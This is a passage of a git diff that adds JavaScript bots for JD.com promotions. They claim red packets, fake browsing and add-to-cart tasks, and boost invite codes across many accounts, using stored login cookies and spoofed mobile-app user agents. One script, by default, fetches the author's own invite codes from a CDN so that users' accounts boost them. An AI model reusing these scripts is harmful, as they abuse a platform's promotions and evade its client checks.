i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_coupon.js b/activity/jd_coupon.js new file mode 100644 index 0000000..d6790fa --- /dev/null +++ b/activity/jd_coupon.js @@ -0,0 +1,264 @@ +/* +源头好物红包 +活动时间:未知 +更新地址:jd_coupon.js +活动入口:https://h5.m.jd.com/babelDiy/Zeus/3hhgqjj5rLjZFbi8UtaD2uex21ky/index.html?babelChannel=ttt19 +已支持IOS双京东账号, Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js +============Quantumultx=============== +[task_local] +#源头好物红包 +0 0 * * * jd_coupon.js, tag=源头好物红包, img-url=https://raw.githubusercontent.com/yogayyy/Scripts/master/Icon/shylocks/jd_coupon.jpg, enabled=true + +================Loon============== +[Script] +cron "0 0 * * *" script-path=jd_coupon.js, tag=源头好物红包 + +===============Surge================= +源头好物红包 = type=cron,cronexp="0 0 * * *",wake-system=1,timeout=3600,script-path=jd_coupon.js + +============小火箭========= +源头好物红包 = type=cron,script-path=jd_coupon.js, cronexpr="0 0 * * *", timeout=3600, enable=true + */ +const $ = new Env('源头好物红包'); + +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; + if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0) +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', {"open-url": "https://bean.m.jd.com/"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.beans = 0 + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/`, {"open-url": "https://bean.m.jd.com/"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await festival() + await showMsg(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +function showMsg() { + return new Promise(resolve => { + $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + resolve() + }) +} + +async function festival() { + $.times = 0 + $.risk = false + await getInfo() +} + +function getInfo() { + let body = {"activityId":"3hhgqjj5rLjZFbi8UtaD2uex21ky","dynamicParam":[],"geo":{"lng":"0.000000","lat":"0.000000"},"babelChannel":"ttt19","mcChannel":0,"openId":""} + return new Promise(resolve => { + $.post(taskPostUrl('queryPanamaPage',body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.msg ==="success") { + for(let vo of data.floorList){ + if(vo.remarks.jimuid){ + console.log(vo.remarks.jimuid) + await receive(vo.remarks.jimuid) + } + } + } else { + console.log(`信息获取失败`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function receive(actId) { + let body = {"actId":actId} + return new Promise(resolve => { + $.post(taskPostUrl('noahHaveFunLottery',body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.msg ==="success") { + message += `红包领取成功,获得${data.lotteryResult.hongBaoList[0].hongbaoSendInfo.disCount}${data.lotteryResult.hongBaoList[0].prizeName}` + + console.log(`红包领取成功,获得${data.lotteryResult.hongBaoList[0].hongbaoSendInfo.disCount}${data.lotteryResult.hongBaoList[0].prizeName}`) + } else { + message += `红包领取失败,${data.msg}` + console.log(`红包领取失败,${data.msg}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getTs() { + return new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000 +} + +function taskPostUrl(function_id, body = {}) { + const t = getTs() + return { + url: `${JD_API_HOST}/client.action`, + body: `functionId=${function_id}&appid=publicUseApi&body=${escape(JSON.stringify(body))}&_t=${t}&client=wh5&clientVersion=1.0.0`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Referer": "https://prodev.m.jd.com", + "Cookie": cookie, + 'dnt': '1', + 'pragma': 'no-cache', + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.141" + } + } +} + +function taskUrl(function_id, body = {}) { + const t = getTs() + return { + url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&_t=${t}&appid=activities_platform`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Referer": "https://prodev.m.jd.com", + "Cookie": cookie, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.141" + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_digital_floor.js b/activity/jd_digital_floor.js new file mode 100644 index 0000000..fd65641 --- /dev/null +++ b/activity/jd_digital_floor.js @@ -0,0 +1,424 @@ +/* +数码加购京豆 +脚本会给内置的码进行助力 +共计25京豆,一天运行一次即可 +活动时间:2020-12-4 到 2020-12-11 +活动入口:https://prodev.m.jd.com/mall/active/nKxVyPnuLwAsQSTfidZ9z4RKVZy/index.html#/ +更新地址:jd_digital_floor.js +已支持IOS双京东账号, Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js +============Quantumultx=============== +[task_local] +#数码加购京豆 +10 7 * * * jd_digital_floor.js, tag=数码加购京豆, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_redPacket.png, enabled=true + +================Loon============== +[Script] +cron "10 7 * * *" script-path=jd_digital_floor.js, tag=数码加购京豆 + +===============Surge================= +数码加购京豆 = type=cron,cronexp="10 7 * * *",wake-system=1,timeout=3600,script-path=jd_digital_floor.js + +============小火箭========= +数码加购京豆 = type=cron,script-path=jd_digital_floor.js, cronexpr="10 7 * * *", timeout=3600, enable=true + */ +const $ = new Env('数码加购京豆'); + +const notify = $.isNode() ? require('../sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('../jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +const randomCount = $.isNode() ? 20 : 5; +const inviteCodes = [`40cd108f-9eed-4897-b795-45a5b221cd6b@49efb480-d6d7-456b-a4e0-14b170b161e0@`,'9d4262a5-1a02-4ae7-8a86-8d070d531464@687b14e0-ce0a-45eb-bf46-71aa0da05f18']; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://digital-floor.m.jd.com/adf/index/'; +!(async () => { + await requireConfig() + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await shareCodesFormat() + await jdDigitalFloor() + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jdDigitalFloor() { + $.bean = 0 + await helpFriends() + await getUserInfo() + await getTaskList() + await showMsg() +} +async function helpFriends() { + for (let code of $.newShareCodes) { + if (!code) continue + let res = await doSupport(code); + await $.wait(500) + if (res===5) { + // 助力次数已用完 + break + } + } +} +function doSupport(shareId) { + return new Promise(resolve => { + $.post(taskPostUrl('doSupport',`shareId=${shareId}`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 200) { + console.log(`助力好友${shareId}成功`) + await supportCheck(shareId) + }else{ + console.log(`助力好友失败,${data.msg}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data.data); + } + }) + }) +} +function supportCheck(shareId) { + return new Promise(resolve => { + $.post(taskPostUrl('supportCheck',`shareId=${shareId}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 200) { + console.log(`检查助力,助力好友${shareId}成功`) + }else{ + console.log(`检查助力失败,${data.msg}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function showMsg() { + return new Promise(resolve => { + $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + resolve() + }) +} +function getUserInfo() { + return new Promise(resolve => { + $.get(taskUrl('shareInfo'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 200) { + $.shareId = data.data.shareId + console.log(`\n您的${$.name}好友助力邀请码:${data.data.shareId}\n`) + message += `\n您的${$.name}好友助力邀请码:${data.data.shareId}\n` + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getTaskList() { + return new Promise(resolve => { + $.get(taskUrl('indexInfo'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 200) { + const tasks = data.data + for(let i = 0; i < tasks.length; ++i){ + const task = tasks[i] + console.log(`去加购物车:${task['skuName']}`) + await browseSku(task['skuId']) + } + message += `共获得${$.bean}个京豆\n` + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getPrize(skuId) { + return new Promise(resolve => { + $.post(taskPostUrl('getPrize',`skuId=${skuId}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 200) { + $.bean += data.data + console.log(`任务领奖成功,获得${data.data}个京豆`) + }else{ + console.log(`任务领奖失败,${data.msg}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function browseSku(skuId) { + return new Promise(resolve => { + $.post(taskPostUrl('browseSku',`skuId=${skuId}`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 200) { + console.log(`任务领取成功`) + await $.wait(5000) + await getPrize(skuId) + } else{ + console.log(data) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + $.newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); + $.newShareCodes = inviteCodes[tempIndex].split('@'); + } + const readShareCodeRes = null //await readShareCode(); + if (readShareCodeRes && readShareCodeRes.code === 200) { + $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; + } + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} +function requireConfig() { + return new Promise(async resolve => { + await getAuthorShareCode() + console.log(`开始获取${$.name}配置文件\n`); + //Node.js用户请在jdCookie.js处填写京东ck; + const shareCodes = [] //$.isNode() ? require('./jdSplitShareCodes.js') : ''; + console.log(`共${cookiesArr.length}个京东账号\n`); + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } + console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); + resolve() + }) +} +function getAuthorShareCode() { + return new Promise(resolve => { + $.get({url: "https://cdn.jsdelivr.net/gh/shylocks/updateTeam@main/jd_digital_floor"}, async (err, resp, data) => { + try { + if (err) { + } else { + inviteCodes[0] = data.replace('\n', '') + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function taskPostUrl(function_id, body) { + return { + url: `${JD_API_HOST}${function_id}?t=${new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000}`, + body: body, + headers: { + 'Host': 'digital-floor.m.jd.com', + 'pragma': 'no-cache', + 'cache-control': 'no-cache', + 'accept': 'application/json, text/plain, */*', + 'dnt': '1', + 'content-type': 'application/x-www-form-urlencoded', + 'origin': 'https://pro.m.jd.com', + 'sec-fetch-site': 'same-site', + 'sec-fetch-mode': 'cors', + 'sec-fetch-dest': 'empty', + 'referer': 'https://pro.m.jd.com/', + 'accept-language': 'zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6', + 'Cookie': cookie, + 'user-agent': 'jdapp;iPhone;9.2.0;14.0;53f4d9c70c1c81f1c8769d2fe2fef0190a3f60d2;network/wifi;supportApplePay/3;hasUPPay/1;pushNoticeIsOpen/0;model/iPhone10,2;addressid/138413818;hasOCPay/0;appBuild/167408;supportBestPay/1;jdSupportDarkMode/0;pv/1710.16;apprpd/WorthBuy_List;ref/JDWebViewController;psq/2;ads/;psn/53f4d9c70c1c81f1c8769d2fe2fef0190a3f60d2|5870;jdv/0|kong|t_1000089893_|tuiguang|9a75f97593f344eb9c46b99e196608d2|1605846323;adk/;app_device/IOS;pap/JA2015_311210|9.2.0|IOS 14.0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1',} + } +} +function taskUrl(function_id) { + return { + url: `${JD_API_HOST}${function_id}?t=${new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000}`, + headers: { + 'Host': 'digital-floor.m.jd.com', + 'pragma': 'no-cache', + 'cache-control': 'no-cache', + 'accept': 'application/json, text/plain, */*', + 'dnt': '1', + 'content-type': 'application/x-www-form-urlencoded', + 'origin': 'https://pro.m.jd.com', + 'sec-fetch-site': 'same-site', + 'sec-fetch-mode': 'cors', + 'sec-fetch-dest': 'empty', + 'referer': 'https://pro.m.jd.com/', + 'accept-language': 'zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6', + 'Cookie': cookie, + 'user-agent': 